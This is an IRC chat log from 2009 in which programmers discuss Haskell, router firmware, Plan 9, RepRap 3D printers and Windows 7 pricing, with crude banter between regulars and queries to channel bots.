16:55:06 <ehird> > lie 4 / (10^2287) :: Double
16:55:07 <lambdabot> No instance for (GHC.Real.Integral GHC.Types.Double)
16:55:17 <ehird> > fromIntegral (lie 4) / (10^2287) :: Double
16:55:25 <ehird> "a (4)=1.695... * 10^2287"
16:56:00 <Deewiant> > fromIntegral (lie 4) / (10^2287) :: CReal
16:56:05 <lambdabot> 1.695216512765707006912636688460460939847
16:56:22 <ehird> CReal is Few Digits, right?
16:56:43 <ehird> "Currently the show throws an error." -- out of date page that, evidently
16:56:50 <ehird> "Also the (==) function returns false if the two CReals are different, and does not terminate if the two CReals have the same value."
16:58:27 -!- nooga has joined.
17:00:03 -!- nooga_ has quit (Read error: 104 (Connection reset by peer)).
17:00:08 <pikhq> ehird: So... Do not compare CReals. :P
17:00:20 <ehird> because > and < don't exist
17:00:24 <ehird> pikhq: but they're showable now in lambdabot
17:00:43 <lambdabot> Source not found. Your mind just hasn't been the same since the electro-shock, has it?
17:00:50 * ehird bitchslaps lambdabot
17:13:20 -!- MigoMipo has quit ("QuitIRCServerException: MigoMipo disconnected from IRC Server").
17:20:37 -!- MigoMipo has joined.
17:20:41 -!- olsner has joined.
17:24:07 <nooga> Wolfram is quite smart huh
17:34:57 -!- MigoMipo has quit ("QuitIRCServerException: MigoMipo disconnected from IRC Server").
17:35:18 <nooga> i want this: http://www.amazon.com/gp/product/0521644089?ie=UTF8&tag=nobugs-20&linkCode=as2&camp=1789&creative=9325&creativeASIN=0521644089
17:39:51 <nooga> does haskell allow overloading operators?
17:40:11 <ehird> It has typeclasses.
17:40:27 <ehird> But it does not allow you to use the dangerous, unpredictable thing that is all functions being overloadable.
17:40:38 <ehird> An operator is just any name where all the characters are symbols, btw.
17:40:56 <nooga> i i'd like to make Vector3 type
17:41:11 <ehird> So implement a Num instance.
17:42:08 <nooga> Num :: (Float,Float,Float) -> (Float,Float,Float) -> (Float,Float,Float) ?
17:42:25 <ehird> pikhq: please direct nooga to actually read a haskell tutorial
17:42:49 <nooga> i've read the first chapter
17:43:07 <nooga> and briefly scanned further chapters ;p
17:43:18 <pikhq> Read the whole thing.
17:43:33 <pikhq> You won't grok monads, but you'll be in a position to have a hope of doing so.
17:43:41 <ehird> pikhq: We're talkin' bout nooga here.
17:44:00 <pikhq> ehird: Thus why I never said he would actually figure them out.
17:44:05 <pikhq> Just that he'd have a hope.
17:48:49 <nooga> such talking fills me with urge to act even more idiotic
17:55:56 <ehird> Anyone have a Siemens Gigaset SE572, incidentally?
17:57:55 <comex> wireless-B router?
17:58:00 <comex> why do you want one of those :p
17:58:20 <ehird> because it's my ISP's shit supplied router and i want to stick alternate firmware on it.
17:58:29 <ehird> but everything just lists other models of the gigaset, i'm wondering if it'd still work.
17:58:58 <ehird> http://www.dd-wrt.com/dd-wrtv2/down.php?path=downloads%2Fstable%2Fdd-wrt.v24+SP1%2FConsumer%2FSiemens/ hmm
17:59:11 <ehird> ugh, it seems to use vxworks
17:59:42 <comex> just buy a new one
18:00:21 <ehird> i have a wrt5gl, comex, but my isp only works with their shit provided modems
18:00:31 <ehird> i'm switching isp, before you say that
18:04:58 <ehird> comex: think i'll have better luck with openwrt or dd-wrt?
18:10:01 <ehird> let's try this shit!
18:20:27 <pikhq> It seems that researchers have inserted electrodes directly into the pleasure centers of the brain in order to treat depression.
18:20:35 <pikhq> In other words, we have wireheads.
18:32:13 <ehird> http://en.wikipedia.org/wiki/Wirehead
18:32:20 <ehird> AnMaster: i'm trying
18:32:31 <AnMaster> ehird, why not just get a new one
18:32:39 <ehird> I have another one.
18:33:09 <AnMaster> also firefox is loading, to check out "wirehead"
18:33:20 <pikhq> Larry Niven, somewhat well-known science fiction author.
18:33:27 <pikhq> About as prolific as Asimov.
18:34:00 <GregorR-L> Nobody is about as prolific as Asimov :P
18:34:06 <pikhq> And does really stunningly well-thought-out aliens.
18:34:15 <fizzie> Did the Known Space stuff.
18:34:34 <pikhq> GregorR-L: ... Well, true. Asimov was really insanely prolific.
18:35:35 <fizzie> Niven is an order of magnitude less prolific, where an order of magnitude in this case means "full bibliography in the main Wikipedia article" vs. "bibliography as a separate Wikipedia page".
18:37:50 <ehird> did you write a box
18:38:29 <pikhq> But sometimes I forget that Asimov has several hundred books to his name.
18:38:34 <pikhq> And not a mere 100. :P
18:39:13 <fizzie> Niven's list of books seems to be around the same length as Clarke's, though I think slightly shorter. Still, quite a pile.
18:39:34 <CESSMASTER> scifi writers like to turn out lots of crap
18:39:43 <pikhq> CESSMASTER: It's good.
18:40:05 * pikhq notes that CESSMASTER probably has never read "Ringworld".
18:40:10 <nooga> they don't use let
18:40:35 <ehird> `addquote <reddit user "othermatt"> So what you're saying is that I shouldn't lick my iPhone but instead I should rub it on my eyes first and then lick my eyeballs?
18:40:36 <HackEgo> 14|<reddit user "othermatt"> So what you're saying is that I shouldn't lick my iPhone but instead I should rub it on my eyes first and then lick my eyeballs?
18:40:47 <ehird> `addquote Thomas Edison
18:40:47 <nooga> they don't use them in .hs files
18:40:57 <ehird> GregorR-L: You bitch.
18:41:00 <EgoBot> help: General commands: !help, !info, !bf_txtgen. See also !help languages, !help userinterps. You can get help on some commands by typing !help <command>.
18:41:05 <HackEgo> Runs arbitrary code in GNU/Linux. Type "`<command>", or "`run <command>" for full shell commands. "`fetch <URL>" downloads files. Files saved to $PWD are persistent, and $PWD/bin is in $PATH. $PWD is a mercurial repository, "`revert <rev>" can be used to revert to a revision. See http://codu.org/projects/hackbot/fshg/
18:41:23 <pikhq> Well, you do. foo = let bar = (\x -> x) in bar
18:43:11 <ehird> `addquote Thomas Edison
18:43:18 <ehird> GregorR-L: People have, at some time, said "Thomas Edison".
18:43:23 <ehird> In at least one of these times,
18:43:31 <ehird> it was funny; for example, as an answer to a question.
18:43:39 <ehird> Therefore, "Thomas Edison" is (a) a quote and (b) funny.
18:43:44 <ehird> Therefore, it is appropriate.
18:44:04 <GregorR-L> `addquote <ehird> I'm a proud and happy member of NAMBLA Youth UK
18:44:05 <HackEgo> 16|<ehird> I'm a proud and happy member of NAMBLA Youth UK
18:44:30 <ehird> Except people have actually said Thomas Edison :-P
18:45:08 <GregorR-L> I do believe that you've said that.
18:45:16 <GregorR-L> In fact, if I cite a reliable resource:
18:45:18 <HackEgo> 16|<ehird> I'm a proud and happy member of NAMBLA Youth UK
18:49:00 <pikhq> Oh, he's just in it for the man-boy love.
18:49:18 <GregorR-L> Uh, would there be any other reason to be in it? :P
18:49:25 <ehird> I was typing what GregorR-L just said :P
18:49:36 <pikhq> Why a North American organisation has a UK youth organisation is beyond me.
18:49:57 <pikhq> GregorR-L: You think that others should be free to have man-boy love?
18:50:07 <ehird> pikhq: Oh, come on.
18:50:15 <ehird> Nobody who thinks that is part of NAMBLA.
18:51:04 <GregorR-L> In my last year of high school, one of the teachers made some joke about NAMBLA, and that became a running gag. He was also retiring that year. When we left, we gave him a "present" with the express warning that he didn't open it until he was at home, alone, without his wife looking over his shoulder. It was a thong that said "NAMBLA Oregon Chapter President" and an infant T-shirt that said "My daddy is a proud member of NAMBLA"
18:51:34 <ehird> nambla might as well be called "Pedophile Association".
18:52:02 <pikhq> Yes, and there might be people in it who are A-okay with pedophilia without being pedophiles.
18:52:27 <GregorR-L> Sort of like there COULD be people who add their name to the sex offender watchlist without actually being sex offenders.
18:52:53 <ehird> pikhq: The way you say it makes it sound like you're a member of NAMBLA and trying to rationalize it :P
18:52:56 <pikhq> GregorR-L: ... Except that being on the sex offender list isn't optional.
18:53:21 <pikhq> ehird: No, I'm just saying that there's a lot of wackos out there.
18:53:22 <ehird> http://cache.gawker.com/assets/images/gizmodo/2009/06/Windows_7_launch_pricing.jpg ← Hey, Windows 7 pricing is actually going to be semi-sane.
18:53:29 <ehird> Three versions starting at $50.
18:53:34 <pikhq> And that some of them may well support pedophilia.
18:53:44 <pikhq> And some of those may well be members of NAMBLA.
18:54:17 <pikhq> ehird: Oh, they announced their new money-printing scheme?
18:54:44 <ehird> pikhq: you are finding fault in a simplification of the model range and a reduction of prices
18:55:12 <pikhq> ehird: I am finding fault in there being a price for a non-scarce good.
18:55:29 <ehird> But there's still shades of poop colour.
18:55:42 <ehird> Also, it makes it cheaper for people to help pirate them :-P
18:56:07 <pikhq> Except for the pre-release piracy.
18:56:15 <pikhq> That doesn't care about costs.
18:56:40 <ehird> pikhq: Pre-release piracy involves people risking their jobs in a very real way.
18:56:49 <ehird> Also, RC versions of 7 are being disabled when it comes out.
18:57:18 <pikhq> And RC versions of 7 are being disabled *6 months after* it comes out.
18:58:15 <ehird> I thought they were being disabled in July.
18:58:44 <nooga> ehird: http://www.ninj4.net/kinetic/haskell-independent.html
18:59:00 <ehird> nooga: It works. Sort of.
18:59:38 <ehird> regarding non-scarce goods: Apple could very reasonably open-source OS X with more or less no change in profits: a bit less as people do hackintoshes (this is a silly argument akin to "if weed were legal more people would smoke it!!11"), and open-source people would jump on the bandwagon
18:59:45 <ehird> thus balancing it out, more or less
18:59:56 <ehird> in fact, it'd probably be a net profit, but the profit being in goodwill
19:00:23 <ehird> like 90% of people don't want to build an os or use an unsupported, unofficial binary
19:00:30 <pikhq> If OS X were made GPL, CDL, APL, etc. I'd switch to OS X tonight, man.
19:00:36 <ehird> and apple mainly profits from its hardware sales, not software
19:00:42 <ehird> pikhq: it'd be BSD.
19:00:52 <ehird> pikhq: Heck, Apple are jumping ship from gcc because it changed to GPLv3.
19:00:59 <pikhq> ehird: I named Apple's free software license, man!
19:01:09 <ehird> pikhq: but e.g. kernel patches
19:01:14 <ehird> it could get sticky with the bsd base
19:01:27 <ehird> maybe base system bsd, ui apl
19:01:44 <pikhq> The base system is already BSD.
19:01:54 <ehird> pikhq: true, but not all of it
19:02:04 <ehird> i'm talking about things like all the command-line stuff
19:02:22 <ehird> if apple open-sourced OS X I'd probably do a bunch of patches to it to make it be more unixy
19:02:26 <pikhq> ... Yes, that's all free software already...
19:02:28 <ehird> and maybe add native X11 protocol support to quartz
19:02:38 <pikhq> Everything that's not NeXT, in fact.
19:02:39 <ehird> pikhq: even the objc interface generator?
19:03:11 <pikhq> If it's not, GCC's is compatible.
19:03:17 <pikhq> If it is, it's probably GCC's by now.
19:03:18 <AnMaster> <nooga> ehird: http://www.ninj4.net/kinetic/haskell-independent.html <-- very interesting
19:03:27 <ehird> AnMaster: unfortunately c-dependent.
19:03:35 <ehird> i started a pure haskell + some asm OS a bit back.
19:03:52 <ehird> i gave up when I tried to imagine writing a memory manager in Haskell that carefully steps around any consing
19:03:55 <ehird> (I'm not sure it's even possible)
19:04:02 <nooga> i'll try to code a path tracer in haskell
19:04:25 <GregorR-L> AnMaster, nooga, ehird: http://programatica.cs.pdx.edu/House/
19:04:35 <ehird> maybe not AnMaster
19:04:47 <ehird> house is kinda dead though
19:04:50 <ehird> also a bit rubbish
19:04:51 <ehird> they have patches to ghc
19:04:57 <ehird> sure, sure, it's clean, but bleargh
19:05:02 <ehird> you have to get a specific ghc version
19:06:34 <ehird> i want plan9 on my new box without adding a partition to my ssd
19:06:42 <ehird> maybe i'll get an external drive for stuff
19:07:50 <AnMaster> ehird, you think plan9 has the needed drivers
19:08:08 <ehird> usb kb/mouse stuff needs enabling things, but i can just enable my bios' ps/2 emulation
19:08:20 <ehird> it can just treat the cpu as 386 as it does every x86 cpu
19:08:30 <ehird> display, ehh, i'll just use vga stuff
19:08:41 <ehird> i mean, the generic vga-like mode for 1920x1200
19:08:51 <ehird> or less if i can't get that working
19:09:02 <ehird> audio, meh, it can probably handle onboard audio
19:09:12 <ehird> so i think it should be fine.
19:10:06 <ehird> http://en.wikipedia.org/wiki/The_Golden_Ass
19:11:53 <GregorR-L> I'm betting thegoldenass.com has very different content.
19:12:43 <AnMaster> <ehird> audio, meh, it can probably handle onboard audio <-- probably not
19:13:05 <pikhq> Onboard audio tends to be AC'97.
19:13:08 <ehird> do you know how we will settle this?
19:13:15 <ehird> reading the plan9 source
19:13:15 <pikhq> Which is ridiculously well supported.
19:13:18 <ehird> or, yeah, what pikhq said
19:13:37 <AnMaster> why does linux has different alsa drivers for them then
19:13:40 <pikhq> Especially since most *emulators* provide an AC'97.
19:13:41 <ehird> for extra features
19:14:04 <ehird> http://www.plan9.bell-labs.com/wiki/plan9/Supported_PC_hardware/index.html
19:14:07 <ehird> VGA CARDS AND CHIPSETS
19:14:15 <ehird> it stops at geforce 6800 xt
19:14:24 <pikhq> Eh, it probably supports newer.
19:14:26 <ehird> three generations behind :)
19:14:41 <AnMaster> ehird, what about SATA/IDE chipset
19:14:48 <ehird> pikhq: probably not; nvidia/ati drivers are a huge untertaking
19:14:53 <ehird> there aren't any decent open source ones for linux even
19:15:03 <ehird> AnMaster: dude, plenty of people use plan9
19:15:38 <ehird> why do you think that plan 9 doesn't support so much hardware, AnMaster?
19:15:43 <ehird> people actually use it, you know
19:15:55 <ehird> people are paid to administer plan 9 systems, it runs on a big supercomputer too
19:16:02 <ehird> it supports a decent amount of hardware
19:16:56 <AnMaster> <ehird> people actually use it, you know <-- SUUUURE
19:17:07 <ehird> GregorR-L: aka "cd drive"
19:17:14 <ehird> AnMaster: i'm not interested in talking to a troll.
19:17:27 <ehird> but here, have a nice link:
19:17:33 <AnMaster> GregorR-L, what is that quote from
19:17:39 <pikhq> ... There were magento-optical *jukeboxes*?
19:17:39 <ais523> GregorR-L: maybe they contain floppy disks /and/ CDs
19:17:53 <pikhq> What was that, some odd backup scheme?
19:17:57 <AnMaster> ais523, magento-optical disks says
19:18:14 <ehird> AnMaster: http://doc.cat-v.org/plan_9/blue_gene/. What is your rebuttal now? "IBM's gigantic supercomputer doesn't count as a real machine running plan 9 to do real work?"
19:18:19 <ehird> Have fun with that argument.
19:18:37 <pikhq> There's a somewhat common external RAID enclosure which runs Plan 9.
19:18:47 <AnMaster> ehird, I wasn't saying that there weren't people using it
19:18:50 <pikhq> I don't know *why* it uses Plan 9, but it does, and it works well.
19:18:54 <ehird> 19:16 AnMaster: <ehird> people actually use it, you know <-- SUUUURE
19:19:06 <AnMaster> ehird, I meant, userbase is tiny
19:19:26 <ehird> AnMaster: Okay, so... 2000 Sydney Olympics light show, a popular RAID enclosure, IBM Blue Gene... any half-witted OS could get used for those, huh?
19:19:27 <pikhq> (I don't remember what RAID enclosure there was, I just remember having to log into it once and being amused that it was Plan 9.)
19:19:39 <ehird> Clearly, nobody uses Plan 9 and they picked it by roll of die.
19:19:52 <pikhq> Who cares if it has a small amount of use?
19:19:53 <AnMaster> but I wouldn't be surprised with linux of any of them
19:19:54 <ehird> No, surely users of it did not suggest it and administrate it.
19:20:00 <pikhq> It's a freaking clever OS.
19:20:01 <ehird> Magic faeries inspired them to use it.
19:20:07 <pikhq> It's like Unix, only more so.
19:20:26 <ais523> ehird: the light show at the 2008 olympics ran on Windows
19:20:34 <ais523> we know because it projected a BSOD onto the roof of the stadium
19:20:43 <ehird> ais523: we already know windows is big
19:21:35 <ehird> i want a connection machine!
19:22:15 <AnMaster> ehird, how did the bricking go?
19:22:33 <AnMaster> ehird, alternative: buy another router instead?
19:22:50 <ehird> AnMaster: ehird, why not just get a new one 18:32 ehird: I have another one. 18:32 ehird: Locked down ISP.
19:22:54 <ehird> Your memory lasts less than an hour.
19:23:07 <ehird> Congratulations; you're both dumber than goldfish and the collective population of Digg.
19:23:30 <AnMaster> ehird, so the other one was locked down too?
19:23:54 <ehird> The other one... is not a router-modem... therefore I need another modem... and said modem... would probably not work with my ISP.
19:24:04 <ehird> I'm saying this... very slowly... so you can read it... slowly.
19:24:16 <AnMaster> ehird, I didn't know it was a router-modem
19:24:20 <AnMaster> but weren't you going to change ISP
19:24:28 <ehird> Yes, I am going to.
19:25:23 <ehird> Incidentally, I command everyone to read http://plan9.bell-labs.com/sources/plan9/.
19:25:28 <nooga> how to store and modify 2d array of numbers in haskell?
19:25:40 <pikhq> Lawl. There's people who think that there kids will not be better off than they are. ... We're going to have fucking Star Trek replicators here soon.
19:25:47 <ehird> nooga: You cannot modify anything in HAskell.
19:25:53 <pikhq> nooga: There is no state.
19:26:16 <Deewiant> There are at least three forms of state: IO, ST, and State.
19:26:26 <AnMaster> pikhq, I don't believe we will have Star Trek replicators in the foreseeable(sp?) future
19:26:44 <HackEgo> A low cost open source rapid prototyping system that is capable of producing its own parts and can therefore be replicated easily. \ reprap.org/ - [14]Cached - [15]Similar
19:26:46 <AnMaster> "<pikhq> nooga: Their is no state."
19:26:54 <ehird> AnMaster: RepRap, foo.
19:26:59 <pikhq> AnMaster: there does not match There.
19:27:07 <HackEgo> A low cost open source rapid prototyping system that is capable of producing its own parts and can therefore be replicated easily. \ reprap.org/ - [14]Cached - [15]Similar
19:27:07 <AnMaster> pikhq, meh, but it was funnier
19:27:30 <pikhq> We've got freaking rapid prototypers that *print themselves*.
19:27:37 <GregorR-L> Anyway, that's a far cry from replicators.
19:27:47 <ais523> ehird: isn't there a make-copy-with-modifications operator in Haskell that gets optimised into modifying variables unless the original's used?
19:27:50 <GregorR-L> (Neither the Star Trek nor Stargate variety :P )
19:27:57 <ehird> ais523: That is not mutation, and that is not an operator.
19:28:01 <AnMaster> you can't replicate food that way
19:28:01 <pikhq> GregorR-L: It has similar sociological implications to the Star Trek variety.
19:28:06 <ehird> AnMaster: a 3d printer THAT CAN PRINT ITSELF.
19:28:09 <ehird> A working copy of itself.
19:28:12 <pikhq> Of course, this doesn't rely on applied phlebotinium, though.
19:28:12 <ais523> ehird: I know it isn't mutation, but I did think it was an operator
19:28:30 <pikhq> AnMaster: Some assembly required.
19:28:34 <GregorR-L> lawl, it can only replicate smaller ones until you're building an iiiiiiiiiiiiiitty bitty one :P
19:28:56 <pikhq> It still has freaking insane sociological implications.
19:29:18 <pikhq> I'm thinking we'll hear the term "piracy" apply to physical designs here in 10 years. :P
19:29:22 <AnMaster> "make most of the parts to make another 3D printer"
19:29:25 <nooga> ehird: then i should build a function obtainPixel'sColor x y
19:29:38 <ehird> AnMaster is an idiot. Discuss.
19:29:47 <AnMaster> ehird, I meant your description fails
19:29:49 <pikhq> "Lawl it doesn't print *everything*."
19:29:59 <nooga> and call it immediately writing returned values to a file?
19:30:02 <ehird> AnMaster will only be happy when it can print a spaceship in 3 seconds.
19:30:02 <pikhq> That's because it's a work in progress.
19:30:18 <pikhq> It is still a rapid prototyper for a few hundred bucks.
19:30:24 <nooga> ehird: IO fails in haskell? pitty
19:30:50 <ehird> AnMaster: It builds every single plastic part of the RepRap.
19:30:59 <pikhq> BTW, IO, ST, and State are no more state than continuation-passing style is state. :P
19:31:41 <ehird> AnMaster: Also - [[The next version of RepRap will be RepRap Version II "Mendel". Mendel will have multiple write heads for working with a wide range of materials in a single reprapped object, and will have the ability to embed three-dimensional electrical circuitry inside mechanical parts. Mendel is still very much in the early stages of development, but the build instructions are themselves under construction at that link.]]
19:32:41 <pikhq> Should with any luck be able to replace PCBs.
19:33:13 <Warrigal> There's nothing wrong with an assembler assembling a full-sized copy of itself.
19:33:33 <Warrigal> It just has to not do so entirely inside itself.
19:33:57 * pikhq imagines a humanoid robot.
19:34:03 <Warrigal> Alternatively, it must be able to change form in such a way that an unchanged version of itself could fit inside it.
19:34:17 <ehird> PRINTERS IN DISGUISE
19:34:27 <Warrigal> Like a balloon. You can fit a deflated balloon in an inflated balloon.
19:34:41 -!- ais523 has quit (Remote closed the connection).
19:34:41 <pikhq> But, man. We've got freaking *printers of matter* that can *print themselves*.
19:34:45 <Warrigal> If you have one of those fancy fold-up trash cans, you can fold it up and throw it away inside another of it.
19:34:49 <pikhq> Forward the future!
19:34:58 <Warrigal> (Note: I've actually never even heard of a fold-up trash can.)
19:35:13 <ehird> AnMaster: Also, a few hundred dollars is how much a RepRap costs to make. Other 3D printers? Many thousands.
19:35:25 <ehird> So yes, it is the key to post-scarce electronics and self-replication.
19:35:45 <pikhq> Just a rapid prototyper for a few hundred dollars is a disruptive technology.
19:36:00 <ehird> I'd quite like a reprap
19:36:05 <nooga> i'd appreciate semi-conductor ink for my inkjet
19:36:06 <ehird> I'd make ridiculous shapes with it.
19:36:08 <AnMaster> ehird, I'm still waiting for being able to say "Computer, a glass of water please" and have it there in less than 3 seconds
19:36:08 <pikhq> That it can print itself is liable to outmod economics.
19:36:25 <nooga> so that i could print electronic circuits on foil
19:36:30 <ehird> AnMaster: That can be done if you have a water tank
19:36:33 <pikhq> AnMaster: Give it a few hundred years.
19:37:05 <ehird> Squirting water into a cup in 3 seconds is perfectly possible.......
19:37:43 <pikhq> The reprap can certainly print a cup.
19:37:45 <ehird> "nooga: idiotic" — my IRC client
19:37:47 <AnMaster> and, it should assemble the molecules from raw hydrogen and oxygen of course. (yay! explosions)
19:37:53 <ehird> pikhq: Yes, but you need to dust it off afterwards and it's not glass :P
19:37:59 <pikhq> It can even print a cocktail glass.
19:38:01 <ehird> I'm not sure i'd drink out of a reprap cup atm.
19:38:01 <nooga> machine could squirt water right into your mouth
19:38:11 <ehird> machine could upload your brain
19:38:14 <pikhq> ehird: Just plastic.
19:38:39 <ehird> Ooh. You know what I want?
19:38:56 <ehird> http://www.trsrockin.com/images/m.jpg but 3d.
19:39:03 <ehird> Like this: http://www.utdallas.edu/~rxf023000/stuff/missingno.jpg
19:39:06 <ehird> With holes and stuff in.
19:39:50 <ehird> that's not as cool as printing one
19:39:58 <ehird> I wonder how fast reprap is
19:40:04 <ehird> Doesn't it self replicate in 90 minutes?
19:40:10 <ehird> Or something around that time.
19:40:17 <Slereah_> ehird : Isn't that M and not Missingno?
19:40:22 <ehird> Slereah_: Same pic
19:40:30 <pikhq> ehird: Few hours, IIRC.
19:40:38 <deveah> do you know how the Chinese hacked into the Pentagon's site?
19:40:47 <ehird> nooga: so not slow.
19:41:19 <nooga> reprap, wait, isn't it that glue gun with guidage ?
19:42:59 <ehird> enterprise edition just in time
19:43:01 <AnMaster> I don't see how that transformation make sense
19:43:21 <ehird> AnMaster: irish slang.
19:43:37 <ehird> eejit → ejit, idiot → idjit
19:43:40 <pikhq> They're pronounced similarly.
19:44:28 <GregorR-L> (Where "zh" is the voiced version of "sh")
19:44:57 <ehird> AnMaster: Anyway, the only part RepRap can't print of itself is the circuit board that controls the hardware.
19:45:01 <ehird> Version 2 will be able to print it.
19:45:07 <pikhq> ehird: And the metal rods.
19:45:27 <pikhq> Oh, and some screws...
19:45:33 <ehird> Yes but that's trivial
19:45:38 <pikhq> Of those, only the circuit board is pricy.
19:45:59 <nooga> > let idiot = "idiot" ; eejit = "idiot" in idiot == eejit
19:46:00 <pikhq> And it will be significantly less so when you can freaking print PCBs.
19:46:05 <GregorR-L> Can't make the screws out of plastic? :P
19:46:37 <pikhq> GregorR-L: It'll have a Field's metal extruder for version 2, IIRC.
19:46:49 <pikhq> Meaning that it could print metal screws.
19:46:57 <nooga> also it can't print the element that melts plastic
19:47:04 <GregorR-L> How about a wood extruder? I want wooden screws.
19:47:13 <pikhq> Well, yes. It can't print all of the extruder.
19:47:19 <ehird> I should make my totally-encrypted, totally-P2P IM/IRC replacement sometime.
19:47:24 <pikhq> GregorR-L: Close you'll get is a wood *pulp* extruder.
19:47:47 <nooga> i want to grow bonsai wooden screws
19:48:02 <AnMaster> GregorR, it turned into that ash over there
19:48:06 <nooga> it's just a bit of genetic enginieering
19:48:08 <HackEgo> melting point of wood \ \ Input interpretation: \ \ wood \ \ melting point \ \ Generated by Wolfram|Alpha (www.wolframalpha.com) on June 25, 2009 from Champaign, IL. © Wolfram Alpha LLC—A Wolfram Research Company \ \ 1 \ \
19:48:25 <GregorR-L> AnMaster: So get rid of the oxygen, surely we can accomplish this.
19:48:27 <ehird> 1 melting points of wood, obviously.
19:48:43 <AnMaster> GregorR, pretty sure wood itself contains some oxygen
19:48:52 <GregorR-L> I doubt it contains enough to maintain a fire.
19:49:03 <nooga> `wolfram 1 dvd in pages
19:49:10 <HackEgo> 1 dvd in pages \ \ Input interpretation: \ \ convert 1 single layer DVD capacity to pages of information \ Result: \ \ 1.8 107 pages of information \ Additional conversion: 9 \ \ 4.7 10 bytes \ \ Comparisons: \ \ 0.23 \ Interpretation: \ \ 14 \ \ AIT E turbo native capacity 20 GB \ \ information \ Basic unit dimensions:
19:49:17 <ehird> Too complicated, not awesome enough, etc
19:49:26 <ehird> Also not really suited to be either an IM or IRC replacement.
19:49:42 <HackEgo> 10. [49]Colloquy: IRC, SILC & ICB Client \ An IRC client for Macintosh OS X. Contains screenshots, documentation, support and download area.
19:49:49 <ehird> GregorR-L: `google sucks.
19:49:58 <GregorR-L> ehird: Blame google, not `google :P
19:50:28 <AnMaster> GregorR, what about that google api thingy
19:50:32 <pikhq> ehird: Perhaps you'd prefer DirectNet?
19:50:36 <AnMaster> they stopped giving out api keys
19:50:43 <AnMaster> but surely you already have an API key?
19:50:52 <pikhq> GregorR-L: I assume DirectNet is encrypted?
19:51:05 -!- nooga has quit ("Leaving...").
19:51:06 <pikhq> Well there you go.
19:51:23 <GregorR-L> Channel support is weak, and I haven't worked on DN in years, so *eh*
19:51:45 <pikhq> So, ehird should maintain DirectNet, rather than write his own. :P
19:52:00 <GregorR-L> Nah, even I'd rewrite it if I was interested.
19:52:23 <pikhq> Alright. Take a cursory look at it and toss it, then.
19:52:31 <pikhq> Oh, and write it in Haskell. :P
19:53:10 <ehird> Of course I would write it in Haskell.
19:53:23 <ehird> Using gnupg, probably.
19:53:25 <pikhq> GregorR-L: That's why you work on Plof.
19:53:31 <ehird> Although I'll probably make it generate its own key.
19:53:43 <ehird> Just to avoid the hassle of system-wide stuff for people who don't know what gpg is.
19:53:50 <GregorR-L> pikhq: Plof will be compilable to portable C :P
19:54:03 <pikhq> And Haskell is compilable to portable C.
19:54:11 <ehird> pikhq: Not via ghc, though.
19:54:17 <ehird> fvia-C is highly platform-dependent
19:55:11 <pikhq> If you don't care about interacting with the outside world, you could compile Haskell to C++ templates. ^_^
19:55:34 <pikhq> Only about as difficult as compiling it to untyped lambda calculus.
19:55:43 <pikhq> (which is to say, you'd have to be fucking mad.)
19:55:43 <GregorR-L> So, you've come to the obvious conclusion that it is NOT compilable to portable C. Good for you :P
19:56:14 -!- Gracenotes has quit (Read error: 54 (Connection reset by peer)).
19:56:32 <HackEgo> LHC NEWS Design report LHC Co-ordination schedule and status Golden Hadron Awards ... LHC Safety. LHC Cooldown Status. LHC@ interactions.org ... \ [14]Photos - [15]LHC_Experiments - [16]LHC OP home page
19:56:36 <HackEgo> The Luxurious LHC Haskell Optimization System; Installing ... LHC is a backend for the Glorious Glasgow Haskell Compiler, adding low-level, whole-program ... \ lhc.seize.it/ - [14]Cached - [15]Similar
19:56:55 <HackEgo> jhc is a haskell compiler which aims to produce the most efficient programs possible via whole program analysis and other optimizations. ... \ repetae.net/computer/jhc/ - [14]Cached - [15]Similar
19:56:55 <ehird> LHC was previously based on John Meacham’s JHC project. That code has since been retired.
19:57:11 -!- Gracenotes has joined.
19:57:13 <pikhq> GHC, IIRC, can compile to portable C--, and intends to use this for its code generation.
19:57:24 <ehird> pikhq: ... it DOES use it.
19:57:30 <ehird> pikhq: Simon Peyton Jones invented C--.
19:57:35 <ehird> nobody uses -fvia-C nowadays
19:57:44 <pikhq> Simon Peyton Jones is awesome, BTW.
19:58:28 <GregorR-L> There's not yet such a thing as portable C--.
19:58:35 <ehird> 1. http://upload.wikimedia.org/wikipedia/commons/d/d0/Simon_Peyton_Jones_01.jpg
20:00:02 <Deewiant> What a terrible picture of him
20:00:18 <ehird> I like how the focus is on the background
20:02:46 <AnMaster> idea: write a BF minus IO -> C++ templates compiler
20:03:42 <pikhq> C++ is Turing complete, after all.
20:03:59 <pikhq> Erm. C++'s type system is.
20:04:29 <pikhq> C++ itself is only an FSA. :P
20:06:44 <AnMaster> potentially infinite external memory that way
20:06:53 <pikhq> That's strapping an infinite tape onto an FSA.
20:07:04 <AnMaster> pikhq, doesn't that make it tc?
20:07:13 <pikhq> Given the infinite tape, yes.
20:07:37 <pikhq> Means that C++ itself is not Turing-complete, but C++ running on POSIX is.
20:07:59 <AnMaster> pikhq, C++ running on windows too potentially
20:08:24 <AnMaster> pikhq, C++ running on anything that implements the STL headers with iostreams
20:08:34 <pikhq> (note: some implementations of C++ on POSIX only implement a subset of this system. These implementations are not Turing complete.)
20:09:28 <AnMaster> pikhq, it would be a PITA to seek to the offset G64 though
20:10:17 <AnMaster> using a POSIX fifo would be easier
20:20:34 -!- deveah has quit ("MUHAHAHAH!!!1111").
20:22:35 <pikhq> Man, Windows 7 Ultimate costs $319 new. ... I could build a decent computer for that.
20:22:53 <pikhq> "Windows -- it costs as much as your computer!"
20:24:35 -!- nooga has joined.
20:24:50 <nooga> is there a vim gui for leopard?
20:24:56 <nooga> hard to fund something stable
20:25:36 -!- MigoMipo has joined.
20:31:58 <AnMaster> nooga, <troll>try the emacs GUI instead</troll>
20:34:32 <pikhq> Sure there is one. Terminal.
20:36:54 <nooga> then i'm forced to change font
20:37:20 <pikhq> ... You mean you use a different font in your terminal than you'd prefer for coding?
20:48:08 <nooga> FFFFFFFFUUUUUUUUUU
21:07:12 -!- Slereah has joined.
21:07:26 -!- Slereah has quit (Client Quit).
21:14:52 <ehird> 20:22 pikhq: Man, Windows 7 Ultimate costs $319 new. ... I could build a decent computer for that.
21:15:01 <ehird> 20:24 nooga: is there a vim gui for leopard?
21:15:02 <ehird> 20:24 nooga: hard to fund something stable
21:15:49 <ehird> http://code.google.com/p/macvim/
21:16:12 <pikhq> ehird: $210 is for an upgrade.
21:16:18 <nooga> i compiled vim72 and it does nott want to cooperate
21:16:24 <ehird> anyway $319 will not get a decent computer
21:16:33 <ehird> nooga: don't compile it
21:16:56 <nooga> i suppose it supports vimballs?
21:16:59 <pikhq> Such a machine is a couple orders of magnitude faster than most people need.
